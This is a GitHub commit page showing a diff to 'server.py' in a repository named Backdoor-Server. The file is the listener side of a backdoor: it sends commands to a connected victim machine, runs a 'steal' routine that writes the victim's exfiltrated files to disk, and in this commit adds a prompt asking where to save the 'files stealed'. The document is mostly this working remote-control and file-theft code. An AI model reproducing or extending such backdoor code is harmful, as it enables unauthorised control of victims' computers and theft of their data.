Skip to content
This repository was archived by the owner on Dec 31, 2023. It is now read-only.

Commit e48e267

Browse files
author
Alessandro
authored
Update server.py
1 parent 46781fb commit e48e267

File tree

1 file changed

+6
-3
lines changed

1 file changed

+6
-3
lines changed

Backdoor-Server/server.py

+6-3
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,12 @@
11
from socket import *
22

3+
PWD = input("Where do you want to save your files stealed? \nExample: /home/nonameon/Desktop/file\nPath: ")
4+
35
def connect():
46
# TCP connection
57
sock = socket(AF_INET, SOCK_STREAM)
68
host = "192.168.1.8"
7-
port = 111
9+
port = 11
810
buffer_size = 1024
911
sock.bind((host, port))
1012
sock.listen(1)
@@ -20,6 +22,8 @@ def connect():
2022
if "terminate" in command:
2123
client.send("terminate".encode())
2224
client.close()
25+
print("[+] Closed!")
26+
print("[+] Listening {}:{}".format(host, port), end="")
2327
break
2428
else:
2529
#manda
@@ -28,11 +32,10 @@ def connect():
2832
resp = client.recv(buffer_size)
2933
flag = True
3034
if "steal" in command:
31-
file_backdoor = "/home/nonameon/Scrivania/file"
35+
file_backdoor = PWD
3236
print("[+] Start!")
3337
with open(file_backdoor, "wb") as f:
3438
while True:
35-
print("scritto")
3639
f.write(resp)
3740
resp = client.recv(buffer_size)
3841
if "end-transfer-file" in resp.decode("ISO-8859-1"):

0 commit comments

Comments
 (0)